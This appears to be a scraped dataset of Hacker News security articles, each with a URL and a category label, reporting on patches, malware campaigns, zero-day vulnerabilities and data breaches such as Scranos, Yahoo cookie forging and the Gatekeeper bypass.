What we need is an international police force with the enforcement power to really target the organized crime that operates on the net. It would investigate the top of the crimeware food chain and track down the people who are running the online crime syndicates. Each member country would be required to co-operate with others, regardless of the apparent size of the crime.

Of course, establishing such a new force would mean a number of legal challenges. For example, malicious code is often created in countries where it is not even illegal or where the perpetrators are not prosecuted.

In my opinion, such an agency should focus only on fighting international malware crime gangs. If it would try to extend to other areas, such as fighting pirates or hactivists, things would get much more complicated. Nobody wants banking trojan gangs around, and we should focus on this problem. The last thing I'd want is some sort of a net police that would try to restrict the freedom of the net. This very freedom is the reason Internet has become as useful as it is.

But we need to take action now. If we don't, online crime will continue to grow stronger and we might risk losing all the great benefits the net has brought to us. Our generation is the first generation that got online. We should make sure this resource will stay around for future generations.



Article [Source] and Video [Source]

",Malware
Microsoft Releases Patch Updates for 53 Vulnerabilities In Its Software,https://thehackernews.com/2018/07/microsoft-security-patch-update.html,"It's time to gear up your systems and software for the latest July 2018 Microsoft security patch updates.

Microsoft today released security patch updates for 53 vulnerabilities, affecting Windows, Internet Explorer (IE), Edge, ChakraCore, .NET Framework, ASP.NET, PowerShell, Visual Studio, and Microsoft Office and Office Services, and Adobe Flash Player.

Out of 53 vulnerabilities, 17 are rated critical, 34 important, one moderate and one as low in severity.

This month there is no critical vulnerability patched in Microsoft Windows operating system and surprisingly, none of the flaw patched by the tech giant this month is listed as publicly known or under active attack.

Critical Flaws Patched In Microsoft Products

Most of the critical issues are memory corruption flaws in IE, Edge browser and Chakra scripting engine, which if successfully exploited, could allow an unauthenticated, remote attacker to execute arbitrary code on a targeted system in the context of the current user.

""If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights,"" Microsoft explains.

One of these critical flaws (CVE-2018-8327), reported by researchers at Casaba Security, also affects PowerShell Editor Services that could allow a remote attacker to execute malicious code on a vulnerable system.

Here's below you can find a brief list of all critical vulnerabilities Microsoft has patched this month in its various products:
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8242)
Edge Memory Corruption Vulnerability (CVE-2018-8262)
Edge Memory Corruption Vulnerability (CVE-2018-8274)
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8275)
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8279)
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8280)
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8283)
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8286)
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8288)
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8290)
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8291)
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8294)
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8296)
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8298)
Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8301)
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-8324)
PowerShell Editor Services Remote Code Execution Vulnerability (CVE-2018-8327)

Important Patch Updates for Microsoft Products

Besides this, Microsoft has also addressed 34 important flaws categorized as below:

Microsoft Edge—Remote code execution (RCE), Information disclosure, spoofing, and security feature bypass flaws
Microsoft Internet Explorer (IE)— RCE and security feature bypass flaws
MS Office (Powerpoint, Word, Excel, Access, Lync, Skype)—security feature bypass, RCE, and elevation of privilege flaws
Windows 10, 8.1, 7 and Server 2008, 2012, 2016—Denial of Service, security feature bypass, elevation of privilege flaws
Microsoft .NET Framework—Elevation of privilege and RCE flaws
Microsoft SharePoint—Elevation of Privilege, and RCE flaws
ChakraCore—RCE, and security feature bypass vulnerabilities
Microsoft Visual Studio—RCE flaw
Expression Blend 4—RCE flaw
ASP .NET—security feature bypass flaws
Mail, Calendar, and People in Windows 8.1 App Store—information disclosure flaw

Besides this, Microsoft has also pushed security updates to patch vulnerabilities in Adobe products, details of which you can get through a separate article posted today.

Users are strongly advised to apply security patches as soon as possible to keep hackers and cybercriminals away from taking control of their computers.

For installing security updates, simply head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.

",Cyber_Attack
"Wiper, the Destructive Malware possibly connected to Stuxnet and Duqu",https://thehackernews.com/2012/09/wiper-destructive-malware-possibly.html,"Kaspersky Lab publishes research resulting from the digital forensic analysis of the hard disk images obtained from the machines attacked by the Wiper - a destructive malware program attacking computer systems related to oil facilities in Western Asia.


Security researchers from Kaspersky Lab have uncovered information suggesting a possible link between the mysterious malware that attacked Iranian oil ministry computers in April and the Stuxnet and Duqu cyber espionage threats.

The malware wipes data from hard drives, placing high priority on those with a .pnf extension, which are the type of files Stuxnet and Duqu used, and has other behavioral similarities, according to Schouwenberg.

It also deletes all traces of itself. As a result, researchers have not been able to get a sample, but they've reviewed mirror images left on hard drives. Kaspersky's researchers were not able to find the mysterious malware, which was given the name Wiper, because very little data from the affected hard disk drives was recoverable.

Even though a connection to Flame is unlikely, there is some evidence suggesting that Wiper might be related to Stuxnet or Duqu.For example, on a few of the hard drives analyzed, the researchers found traces of a service called RAHDAUD64 that loaded files named ~DFXX.tmp where XX are two random digits from the C:\WINDOWS\TEMP folder.

No one has ever found a sample of Wiper in order to study its code and determine exactly what it did to machines in Iran. According to Kaspersky, the malware's algorithm is ""designed to quickly destroy as many files as effectively as possible, which can include multiple gigabytes at a time.""

Although Flame can be updated by its creators with various modules, including conceivably a module that would destroy data, there has never been any evidence found that Flame had a module that was used to destroy data on machines or wipe out hard drives.

",Malware
Mac OS X Zero-Day Exploit Can Bypass Apple's Latest Protection Feature,https://thehackernews.com/2016/03/system-integrity-protection.html,"A critical zero-day vulnerability has been discovered in all versions of Apple's OS X operating system that allows hackers to exploit the company's newest protection feature and steal sensitive data from affected devices.

With the release of OS X El Capitan, Apple introduced a security protection feature to the OS X kernel called System Integrity Protection (SIP). The feature is designed to prevent potentially malicious or bad software from modifying protected files and folders on your Mac.

The purpose of SIP is to restrict the root account of OS X devices and limit the actions a root user can perform on protected parts of the system in an effort to reduce the chance of malicious code hijacking a device or performing privilege escalation.

However, SentinelOne security researcher Pedro Vilaça has uncovered a critical vulnerability in both OS X and iOS that allows for local privilege escalation as well as bypasses SIP without kernel exploit, impacting all versions to date.

Bypass SIP to Protect Malware

The zero-day vulnerability (CVE-2016-1757) is a Non-Memory Corruption bug that allows hackers to execute arbitrary code on any targeted machine, perform remote code execution (RCE) or sandbox escapes, according to the researcher.

The attacker then escalates the malware's privileges to bypass SIP, alter system files, and then stay on the infected system.
""The same exploit allows someone to escalate privileges and also to bypass system integrity,"" the researcher explains in a blog post. ""In this way, the same OS X security feature designed to protect users from malware can be used to achieve malware persistency.""
By default, System Integrity Protection or SIP protects these folders: /System, /usr, /bin, /sbin, along with applications that come pre-installed with OS X.

Easy-to-Exploit and Tough to Detect-&-Remove

According to Vilaça, the zero-day vulnerability is easy to exploit, and a simple spear-phishing or browser-based attack would be more than enough to compromise the target machine.
""It is a logic-based vulnerability, extremely reliable and stable, and does not crash machines or processes,"" Vilaça says. ""This kind of exploit could typically be used in highly targeted or state-sponsored attacks.""
The most worrisome part is that the infection is difficult to detect, and even if users ever discover it, it would be impossible for them to remove the infection, since SIP would work against them, preventing users from reaching or altering the malware-laced system file.

Although the zero-day vulnerability was discovered in early 2015 and was reported to Apple in January this year, the good news is that the bug doesn't seem to have been used in the wild.

Apple has patched the vulnerability, but only in updates for El Capitan 10.11.4, and iOS 9.3 that were released on 21st March.

Other versions do not appear to have a patch update for this specific vulnerability from Apple, meaning they are left vulnerable to this specific zero-day bug.

",Vulnerability
Critical Flaws in Ghostscript Could Leave Many Systems at Risk of Hacking,https://thehackernews.com/2018/08/ghostscript-postscript-vulnerability.html,"Google Project Zero's security researcher has discovered a critical remote code execution (RCE) vulnerability in Ghostscript—an open source interpreter for Adobe Systems' PostScript and PDF page description languages.

Written entirely in C, Ghostscript is a package of software that runs on different platforms, including Windows, macOS, and a wide variety of Unix systems, offering software the ability to convert PostScript language files (or EPS) to many raster formats, such as PDF, XPS, PCL or PXL.

A lot of popular PDF and image editing software, including ImageMagick and GIMP, use Ghostscript library to parse the content and convert file formats.

Ghostscript suite includes a built-in -dSAFER sandbox protection option that handles untrusted documents, preventing unsafe or malicious PostScript operations from being executed.

However, Google Project Zero team researcher Tavis Ormandy discovered that Ghostscript contains multiple -dSAFER sandbox bypass vulnerabilities, which could allow a remote, unauthenticated attacker to execute arbitrary commands on a vulnerable system.

To exploit this vulnerability, all an attacker needs to do is sending a specially crafted malicious file (which could be a PDF, PS, EPS, or XPS) to a victim, which, if opened with an application leveraging vulnerable Ghostscript, could allow the attacker to completely take over the targeted system.

At the time of writing, Artifex Software, the maintainers of Ghostscript, have not released any patch to fix the vulnerability.

According to advisory released by US-CERT, applications like the ImageMagick image processing library, which uses Ghostscript by default to process PostScript content, are affected by the vulnerability.

Major Linux distributions including RedHat and Ubuntu have confirmed that they are also affected by this vulnerability, while the status for Arch Linux, CentOS, Debian, Dell, Apple, and others is still unknown.

Ormandy advised Linux distributions to disable the processing of PS, EPS, PDF, and XPS content until the issue is addressed.
""I *strongly* suggest that distributions start disabling PS, EPS, PDF and XPS coders in policy.xml by default,"" Ormandy said.
This is not the first time when Ormandy has discovered issues in Ghostscript. He found similar high severity vulnerabilities in Ghostscript in October 2016 and April last year (CVE-2017-8291), some of which were found actively exploited in the wild.

",Vulnerability
Tinder Online Dating app vulnerability revealed Exact Location of Users,https://thehackernews.com/2014/02/Online-Dating-app-Tinder.html,"Using Popular Online Dating app - Tinder on iPhone?? Then you are at significant risk that exposed members' private information without their knowledge.

Online Dating app Tinder, available for the iPhone from the app store, has become incredibly popular in the past few months.

Tinder app allows you to find dates nearby your location within a few miles and connects you with them, but a vulnerability allowed the attacker to potentially pinpoint your exact location to within 100 feet.

Security Researchers at Include Security discovered that Tinder GPS vulnerability making members vulnerable to hackers.

The Security flaw was discovered by the company last October, that enabled any member with some programming skills to access the app's API (Application Programming Interface) to get the exact latitude and longitude for another member.
""Due to Tinder's architecture, it is not possible for one Tinder user to know if another took advantage of this vulnerability during the time of exposure. The repercussions of a vulnerability of this type were pervasive given Tinder's massive global base of users,"" Include Security Founder Erik Cabetas said in a statement.

Using GPS data collected by Smartphone, one could triangulate to determine where a user is located. Researchers built their own private application called TinderFinder, that could locate a person simply by entering a member's Tinder identification number.

Video Demonstration:
""You don't need any special privilege or anything like that. All the information is gathered from the server with any Tinder user account,"" said Erik Cabetas and unfortunately the Online Dating app turned out be a GPS tracker.

Tinder CEO Sean Rad said in a statement that it implemented security measures ""shortly after being contacted"" by Include Security, and did not respond to further inquiries from the company because it does not usually share the specifics of Tinder's security measures. ""Our users' privacy and security continue to be our highest priority,"" said Tinder.

Include Security says, app designers should be careful to protect users' security as they add new features that incorporate Geo-location. ""As more and more applications are being built to include Geo-location services, there is an increased risk to the privacy and safety of users.""

",Vulnerability
Install Latest Chrome Update to Patch 0-Day Bug Under Active Attacks,https://thehackernews.com/2020/02/google-chrome-zero-day.html,"Google yesterday released a new critical software update for its Chrome web browser for desktops that will be rolled out to Windows, Mac, and Linux users over the next few days.

The latest Chrome 80.0.3987.122 includes security fixes for three new vulnerabilities, all of which have been marked 'HIGH' in severity, including one that (CVE-2020-6418) has been reportedly exploited in the wild.

The brief description of the Chrome bugs, which impose a significant risk to your systems if left unpatched, are as follows:

Integer overflow in ICU — Reported by André Bargull on 2020-01-22
Out of bounds memory access in streams (CVE-2020-6407) — Reported by Sergei Glazunov of Google Project Zero on 2020-01-27
Type confusion in V8 (CVE-2020-6418) — Reported by Clement Lecigne of Google's Threat Analysis Group on 2020-02-18


The Integer Overflow vulnerability was disclosed by André Bargull privately to Google last month, earning him $5,000 in rewards, while the other two vulnerabilities — CVE-2020-6407 and CVE-2020-6418 — were identified by experts from the Google security team.

Google has said CVE-2020-6418, which stems from a type confusion error in its V8 JavaScript rendering engine, is being actively exploited, although technical information about the vulnerability is restricted at this time.

The search giant has not disclosed further details of the vulnerabilities so that it gives affected users enough time to install the Chrome update and prevent hackers from exploiting them.

A successful exploitation of the integer overflow or out-of-bounds write flaws could allow a remote attacker to compromise a vulnerable system by tricking the user into visiting a specially crafted web page that takes advantage of the exploit to execute arbitrary code on the target system.

It's recommended that Windows, Linux, and macOS users download and install the latest version of Chrome by heading to Help > ""About Chrome"" from the settings menu.

",Vulnerability
Scranos: New Rapidly Evolving Rootkit-Enabled Spyware Discovered,https://thehackernews.com/2019/04/scranos-rootkit-spyware.html,"A new powerful rootkit-enabled spyware operation has been discovered wherein hackers are distributing multifunctional malware disguised as cracked software or trojanized app posing as legitimate software like video players, drivers and even anti-virus products.

While the rootkit malware—dubbed Scranos—which was first discovered late last year, still appears to be a work in progress, it is continuously evolving, testing new components and regularly making an improvement to old components, which makes it a significant threat.

Scranos features a modular design that has already gained capabilities to steal login credentials and payment accounts from various popular services, exfiltrate browsing history and cookies, get YouTube subscribers, display ads, as well as download and execute any payload.

According to a 48 page in-depth report Bitdefender shared with The Hacker News prior to its release, the malware gains persistence on infected machines by installing a digitally-signed rootkit driver.

Researchers believe attackers obtained the valid digital code-signing certificate fraudulently, which was originally issued to Yun Yu Health Management Consulting (Shanghai) Co., Ltd. and has not been revoked at the time of writing.

""The rootkit registers a Shutdown callback to achieve persistence. At shutdown, the driver is written to disk, and a start-up service key is created in the Registry,"" the researchers say.

Upon infection, the rootkit malware injects a downloader into a legitimate process which then communicates with the attacker-controlled Command-and-Control (C&C) server and downloads one or more payloads.

Here we have listed a few data and password-stealing payloads:

Password and Browsing History Stealing Payload — The main dropper steals browser cookies and login credentials from Google Chrome, Chromium, Mozilla Firefox, Opera, Microsoft Edge, Internet Explorer, Baidu Browser and Yandex. It can also steal cookies and login info from victims' accounts on Facebook, YouTube, Amazon, and Airbnb.

Extension Installer Payload — This payload installs adware extensions in Chrome and injects malicious or malware-laden ads on all webpages users visit. A few samples also found installing fake browser extensions, such as Chrome Filter, Fierce-tips and PDF Maker.

Steam Data Stealer Payload — This component steals and sends victims' Steam account credentials and information, including the list of installed apps and games, as well as hardcoded version, to the attacker's server.

Malware Interacts with Facebook and YouTube on Victims' Behalf

Some other payloads can even interact with various websites on the victim's behalf, such as:

YouTube subscriber payload — This payload manipulates YouTube pages by running Chrome in debugging mode, instructing the browser to take various actions on a webpage like starting a video, muting a video, subscribing to a channel, and clicking ads.
Facebook Spammer Payload — Using collected cookies and other tokens, attackers can command malware to send Facebook friend requests to other users. It can also send private messages to the victim's Facebook friends with links to malicious Android APKs.

Android Adware App — Disguised as the legitimate ""Accurate scanning of QR code"" app available on Google Play Store, the malware app aggressively displays ads, tracks infected victims and uses same C&C server as the Windows malware.

Scranos Steals Payment Information from Popular Websites

Here's the list of DLLs contained in the main dropper:

Facebook DLL — This DLL extracts information about the user Facebook accounts including their payment accounts, their list of friends, and if they are an administrator of a page.

Amazon DLL — This DLL extracts information from the user's Amazon account. Researchers even found a version of this DLL that has been designed to extract information from logged-in Airbnb accounts.

According to the telemetry gathered by Bitdefender researchers, Scranos is targeting users worldwide, but ""it seems more prevalent in India, Romania, Brazil, France, Italy, and Indonesia.""

The oldest sample of this malware traced back to November 2018, with a massive spike in December and January, but in March 2019, Scranos was started pushing other strains of malware, which researchers say is ""a clear indicator that the network is now affiliated with third parties in pay-per install schemes.""

",Malware
Stuxnet is Back ! Iran reported another cyber attack,https://thehackernews.com/2012/12/stuxnet-is-back-iran-reported-another_26.html,"Iran claims to have repelled a fresh cyber attack on its industrial units in a southern province. In the last few years, various Iranian industrial, nuclear and government bodies have recently come under growing cyber attacks, widely believed to be designed and staged by the US and Israel.


A power plant and other industries in southern Iran have been targeted by the Stuxnet computer worm, an Iranian civil defense official says. Iran's news agency reported that the worm attacked the Culture Ministry's Headquarters for Supporting and Protecting Works of Art and Culture and was reportedly sent from Dallas via switches in Malaysia and Vietnam.

This recent Stuxnet attack was successfully defeated, according to local Iranian civil defense chief Ali Akbar Akhavan. ""We were able to prevent its expansion owing to our timely measures and the cooperation of skilled hackers,"" Akhavan said. The sophisticated worm spreads via USB drives and through four previously unknown holes, known as zero-day vulnerabilities, in Windows.

Iranian officials have said, Cyber attackers also slowed Iran's Internet and attacked its offshore oil and gas platforms this year. ran is a little sensitive about malware attacks after Stuxnet, knocked out a big chunk of Iran's uranium enrichment operation.

When Stuxnet's source code was leaked online and the virus has infected computers in Indonesia, India, the United States. Stuxnet is the first discovered worm that spies on and reprograms industrial systems. It is specifically written to attack SCADA systems which are used to control and monitor industrial processes.

",Cyber_Attack
"Xiaomi Data Breach — ""Exposing Xiaomi"" Talk Pulled from Hacking Conference",https://thehackernews.com/2014/10/xiaomi-data-breach-hacker.html,"China's number one — and the world's 3rd largest — smartphone manufacturer, Xiaomi, which is trying to make inroads into India's booming mobile phone market, was found secretly sending users' personal data, including IMEI numbers, phone numbers and text messages to the web servers back to Beijing in China.

INDIA AND TAIWAN vs XIAOMI
This issue raised higher concerns across many countries, proactively in India, Singapore and Taiwan.

The Indian Air Force (IAF) — among the largest in the world — warned its employees and their belongings that their private information was being shipped over to servers in China, and asked them to avoid using Xiaomi smartphones due to security risk.

Taiwanese Government underlined similar concerns before Xiaomi's launch in India. Xiaomi is facing an investigation in Taiwan for alleged cyber security threat, as a result of which last month the Taiwanese government decided to ban the company due to several privacy controversies.

When it comes to sales, Xiaomi's Mi3 and RedMi 1S have lately been redefining the term 'Flash Sales' with a recorded sales of 90,000 units in just 12 seconds. So, you can imagine the total Xiaomi statistics of Xiaomi.

TAIWANESE RESEARCHER TO EXPOSE XIAOMI AT HACKER CONFERENCE
Meanwhile, an independent Taiwanese Security Expert came up with another bad news for Chinese Xiaomi Mobile company, as he claimed to have found zero-day vulnerability in Xiaomi website that allowed him to obtain credentials of millions of Xiaomi accounts and logs from the servers.

Taiwanese Researcher allegedly planned to reveal Xiaomi zero-day vulnerability and his investigative researcher at Asia's biggest hackers conference, Ground Zero Summit (G0S) 2014 this November; with his session titled - ""Privacy-Alert: Exposing China-based XIAOMI Mobiles"".

As shown in the above screenshot, paper abstract mentioned on the website says, ""In this session Taiwanese Researcher will demonstrate how Xiaomi Phones have been sending device data and personal data of Xiaomi Phone user to Chinese Servers. The Researcher will also release Server Logs, Mi Account username, Emails and passwords of millions of Xiaomi users which have been obtained using a Zero Day flaw in the Xiaomi Servers.""

But after getting selected as a speaker for the conference, reportedly the talk has been pulled out from the conference within a day.

In a mail, the 'Ground Zero Summit' organizer told The Hacker News that 'Privacy-Alert: Exposing China-based XIAOMI Mobiles' session has been withheld till the time Xiaomi investigates the data breach and accusations made by the researcher. According to the paper, the vulnerability could have been utilized by anyone to convey a data and privacy breach.

DATA BREACH AT XIAOMI
Xiaomi devices provide 'Mi Account' to its customers through which users gain access to their Mi Cloud, Mi Talk, MIUI Forum, Mi Market and other Xiaomi services. These online Xiaomi Mi Accounts store users' personal information including mobile numbers, email addresses and account credentials.

Xiaomi website zero-day vulnerability and Taiwanese Researcher' session at G0S Conference also raises concern about the security of the data of millions of users linked to their Xiaomi's Mi Cloud account.

The researcher contacted The Hacker News team and provided partial database of a few thousands of Xiaomi users, which confirmed that the millions of Xiaomi Mi accounts has already been compromised.

Anyone with Xiaomi account credential can remotely locate, ring, lock and wipe up your phone data easily. Xiaomi mobile users are recommended to reset ""Mi account"" password immediately.

XIAOMI MOVING DATA CENTER TO INDIA
After facing several privacy controversies, Xiaomi said today that it plans to open a data center in India, away from its servers in Beijing due to performance and privacy considerations.

Just yesterday, Some newly launched Sony Xperia phones were also found secretly sending users' data to Servers in China using Baidu Spyware.

UPDATE
Here is the email statement issued by Xiaomi on the report:
We have verified that the zero-day data breach allegation made by security researcher Chen Huang and the Ground Zero Summit organizing committee is a hoax. The zero-day vulnerability reported by the cyber security researcher, Chen Huang, is a deliberate falsehood, and Xiaomi is taking the necessary legal action against the parties involved.
To date, throughout Xiaomi's history, there has only been one incident in which a two-year-old user account file was leaked in May 2014. After conducting a comprehensive investigation, we concluded that file contained information from user accounts registered before August 2012 in an old version of the Xiaomi user forum website. That information became obsolete when, in September 2012, we launched the Xiaomi Account integrated system.
In response to the incident in May 2014, we immediately requested users to change their passwords. We also announced the incident publicly via social media and to our user forums on May 14, 2014.
Chen Huang has recently threatened to expose data from the old user account file during a session at the upcoming Ground Zero Summit 2014, falsely claiming it to be data compromised through an existing vulnerability. This is a grave accusation, as we take our users' privacy very seriously, and we will seek legal action against the involved parties.

",Vulnerability
"NSA bought Hacking tools from 'Vupen', a French based zero-day Exploit Seller",https://thehackernews.com/2013/09/nsa-bought-hacking-tools-from-vupen.html,"The US government, particularly the National Security Agency has been paying a French security firm for backdoors and zero day hacks.

According to a contract newly released in response to a Freedom of Information request, last year the NSA purchased a 12-month subscription to a ""binary analysis and exploits service"" sold by Vupen, a zero-day Exploit Seller based in France.

VUPEN is one of a handful of companies that sell software exploits and vulnerability details, who do original vulnerability research and develop exploits for bugs that they find.

They Sold those exploits to the Governments and Law enforcement agencies. VUPEN has promised that the company only will sell its services to NATO countries and will not deal with oppressive regimes.


It is unclear how much money the NSA spent on the Vupen exploits package because the cost has been redacted in the released contract.



Last year, Vupen researchers successfully cracked Google's Chrome browser, but declined to show developers how they did so even for an impressive cash bounty. ""We wouldn't share this with Google for even $1 million,"" Vupen CEO Chaouki Bekrar told at that time.

Vupen has previously drawn criticism from security experts, as well as privacy advocates such as Soghoian, who delivered a presentation about the exploit vulnerability marketplace at the recent Virus Bulletin conference and characterized the firm as being a ""zero-day cyber weapon merchant.""

These flaws can then be exploited to gain access to a system and its information, or the vulnerabilities can be sold on the black market, where Vupen is doing something similar by not helping the vendors.

Because even Vupen sold their services to the NSA defensive reasons, but we all are now aware with the offensive hacking operations of NSA and other Law enforcement agencies.

",Vulnerability
Yahoo Reveals 32 Million Accounts Were Hacked Using 'Cookie Forging Attack',https://thehackernews.com/2017/03/yahoo-cookie-forging-hack.html,"Yahoo has just revealed that around 32 million user accounts were accessed by hackers in the last two years using a sophisticated cookie forging attack without any password.

These compromised accounts are in addition to the Yahoo accounts affected by the two massive data breaches that the company disclosed in last few months.

The former tech giant said that in a regulatory filing Wednesday that the cookie caper is likely linked to the ""same state-sponsored actor"" thought to be behind a separate, 2014 data breach that resulted in the theft of 500 Million user accounts.

""Based on the investigation, we believe an unauthorized third party accessed the company's proprietary code to learn how to forge certain cookies,"" Yahoo said in its annual report filed with the US Securities and Exchange Commission (SEC).
""The outside forensic experts have identified approximately 32 million user accounts for which they believe forged cookies were used or taken in 2015 and 2016. We believe that some of this activity is connected to the same state-sponsored actor believed to be responsible for the 2014 security incident.""
""Forged cookies"" are digital keys that allow access to accounts without re-entering passwords.

Instead of stealing passwords, hackers trick a web browser into telling Yahoo that the victim had already logged in by forging little web browser tokens called cookies.

Yahoo revealed the cookie caper in December last year, but the news was largely overlooked, as the statement from Yahoo provided information on a separate data breach that occurred in August 2013 involving more than 1 Billion Yahoo accounts.

In a statement, the company said the hackers might have stolen names, email addresses, hashed passwords, telephone numbers, dates of birth, and, in some cases, encrypted or unencrypted security questions and answers.

Yahoo began warning its customers just last month that some state-sponsored actors had accessed their Yahoo accounts by using the sophisticated cookie forging attack.

However, the good news is that the forged cookies have since been ""invalidated"" by Yahoo so they cannot be used to access user accounts.

Yahoo's CEO Marissa Mayer Loses Bonus

In the meantime when Yahoo revealed about the scope of the cookie caper, Yahoo CEO Marissa Mayer said she would forgo her annual bonus, which is US$2 Million, and any 2017 equity award, which is usually about $12 Million of stock, in response to the security incidents occurred during her tenure.
""When I learned in September 2016 that a large number of our user database files had been stolen, I worked with the team to disclose the incident to users, regulators, and government agencies,"" Mayer wrote in a note published Monday on Tumblr.
""However, I am the CEO of the company and since this incident happened during my tenure, I have agreed to forgo my annual bonus and my annual equity grant this year and have expressed my desire that my bonus be redistributed to our company's hardworking employees, who contributed so much to Yahoo's success in 2016.""
Besides this, Yahoo's general counsel and secretary Ronald Bell also resigned as of Wednesday after the company revealed that ""senior executives and relevant legal staff were aware that a state-sponsored actor had accessed certain user accounts by exploiting the Company's account management tool.""

The ongoing revelation of security incidents in the company has hit Yahoo's credibility badly. Just last month, Yahoo and Verizon Communications Inc. agreed to reduce the price of the upcoming acquisition deal by $350 Million in the wake of the two data breaches.

The deal, which was previously finalized at $4.8 Billion, now valued at about $4.48 Billion in cash and is expected to close in the second quarter.

",Cyber_Attack
Flaw in 4GEE WiFi Modem Could Leave Your Computer Vulnerable,https://thehackernews.com/2018/09/4g-ee-wifi-modem-hack.html,"A high-severity vulnerability has been discovered in 4G-based wireless 4GEE Mini modem sold by mobile operator EE that could allow an attacker to run a malicious program on a targeted computer with the highest level of privileges in the system.

The vulnerability—discovered by 20-year-old Osanda Malith, a Sri Lankan security researcher at ZeroDayLab—can be exploited by a low privileged user account to escalate privileges on any Windows computer that had once connected to the EE Mini modem via USB.

This, in turn, would allow an attacker to gain full system access to the targeted remote computer and thereby, perform any malicious actions, such as installing malware, rootkits, keylogger, or stealing personal information.

4G Mini WiFi modem is manufactured by Alcatel and sold by EE, a mobile operator owned by BT Group— Britain's largest digital communications company that serves over 31 million connections across its mobile, fixed and wholesale networks.

How Does the Attack Work?

The local privilege escalation flaw, tracked as CVE-2018-14327, resides in the driver files installed by EE 4G Mini WiFi modem on a Windows system and originates because of folder permissions, allowing any low privileged user to ""read, write, execute, create, delete do anything inside that folder and it's subfolders.""

For successful exploitation of the vulnerability, all an attacker or malware just needs to do is replace ""ServiceManager.exe"" file from the driver folder with a malicious file to trick the vulnerable driver into executing it with higher SYSTEM privileges after reboot.
Malith also posted a video demonstration showing that how attackers can exploit this flaw to escalate their privileges on a Windows machine to gain a reverse shell.
""An attacker can plant a reverse shell from a low privileged user account and by restarting the computer, the malicious service will be started as ""NT AUTHORITY\SYSTEM"" by giving the attacker full system access to the remote PC,"" he explains in his blog.

Patch Your 4G Wi-Fi Mini Modems

The researcher reported the vulnerability to EE and Alcatel in July, and the company acknowledged the issue and rolled out a firmware patch earlier this month to address the vulnerability.

If you own a G-based wireless 4GEE Mini modem from EE, you are advised to update the firmware modem to the latest ""EE40_00_02.00_45"" version and remove previous vulnerable versions.
Follow these simple steps to update your 4GEE Mini modem to the latest patch update:
Go to your router's default gateway: https://192.168.1.1.
Click on the ""Check for Update"" to update your firmware.
Once updated to the patched software version EE40_00_02.00_45, remove the previously installed software version from your computer.
For more details on the vulnerability, you can head on to Malith's blog, and the detailed advisory released by ZeroDayLab.

",Vulnerability
HDFC Bank Database Hacked by zSecure team using SQL injection vulnerability,https://thehackernews.com/2011/09/hdfc-bank-database-hacked-by-zsecure.html,"HDFC Bank Database Hacked by zSecure team using SQL injection vulnerability

zSecure team is back in news again, this time they have discovered a critical SQL injection vulnerability in HDFC Bank's Web Portal. Using this critical flaw HDFC Bank's various databases can be accessed and dumped as well. This critical flaw really affects the customer realtions of HDFC Bank's and this really questions the existing security in place within bank. HDFC Bank is the leading bank in India but they lack behind the basic security that needs to be implemented. zSecure team claimed in their blog post that even after sending them complete details about the vulnerability and even after conducting the vulnerability assessment from the third party service provider they were not able to discover this critical falw which existed in their web portal. This really raises a big question on their existing security policy.

What would have happened if somone else would have gained acceess to this critical flaw, their entire database would've been dumped, their web-site would have been defaced and much more. HDFC Bank's really needs to think on this matter again.
General Information
Website: www.hdfcbank.com
Vulnerability Type: Hidden SQL Injection Vulnerability
Database Type: MSSQL with Error
Vulnerability Discovered: 15-July-2011
Alert Level: Critical
Threats: Complete Database Access, Database Dump, Shell Uploading
Credit: zSecure Team
Proof of Vulnerability

About HDFC Bank
HDFC Bank deals with three key business segments. – Wholesale Banking Services, Retail Banking Services, Treasury. It has entered the banking consortia of over 50 corporates for providing working capital finance, trade services, corporate finance and merchant banking. It is also providing sophisticated product structures in areas of foreign exchange and derivatives, money markets and debt trading and equity research.
Source

",Vulnerability
Hackers Exploit 0-Day Gatekeeper Flaw to Attack macOS Computers,https://thehackernews.com/2021/04/hackers-exploit-0-day-gatekeeper-flaw.html,"Security is only as strong as the weakest link. As further proof of this, Apple released an update to macOS operating systems to address an actively exploited zero-day vulnerability that could circumvent all security protections, thus permitting unapproved software to run on Macs.
The macOS flaw, identified as CVE-2021-30657, was discovered and reported to Apple by security engineer Cedric Owens on March 25, 2021.
""An unsigned, unnotarized, script-based proof of concept application [...] could trivially and reliably sidestep all of macOS's relevant security mechanisms (File Quarantine, Gatekeeper, and Notarization Requirements), even on a fully patched M1 macOS system,"" security researcher Patrick Wardle explained in a write-up. ""Armed with such a capability macOS malware authors could (and are) returning to their proven methods of targeting and infecting macOS users.""
Apple's macOS comes with a feature called Gatekeeper, which allows only trusted apps to be run by ensuring that the software has been signed by the App Store or by a registered developer and has cleared an automated process called ""app notarization"" that scans the software for malicious content.
But the new flaw uncovered by Owens could enable an adversary to craft a rogue application in a manner that would deceive the Gatekeeper service and get executed without triggering any security warning. The trickery involves packaging a malicious shell script as a ""double-clickable app"" so that the malware could be double-clicked and run like an app.
""It's an app in the sense that you can double click it and macOS views it as an app when you right click -> Get Info on the payload,"" Owens said. ""Yet it's also shell script in that shell scripts are not checked by Gatekeeper even if the quarantine attribute is present.""
According to macOS security firm Jamf, the threat actor behind Shlayer malware has been abusing this Gatekeeper bypass vulnerability as early as January 9, 2021. Distributed via a technique called search engine poisoning or spamdexing, Shlayer accounts for almost 30% of all detections on the macOS platform, with one in ten systems encountering the adware at least once, according to Kaspersky statistics for 2019.
The attack works by manipulating search engine results to surface malicious links that, when clicked, redirects users to a web page that prompts users to download a seemingly benign app update for out-of-date software, which in this campaign, is a bash script designed to retrieve next-stage payloads, including Bundlore adware stealthily. Troublingly, this infection scheme could be leveraged to deliver more advanced threats such as surveillanceware and ransomware.
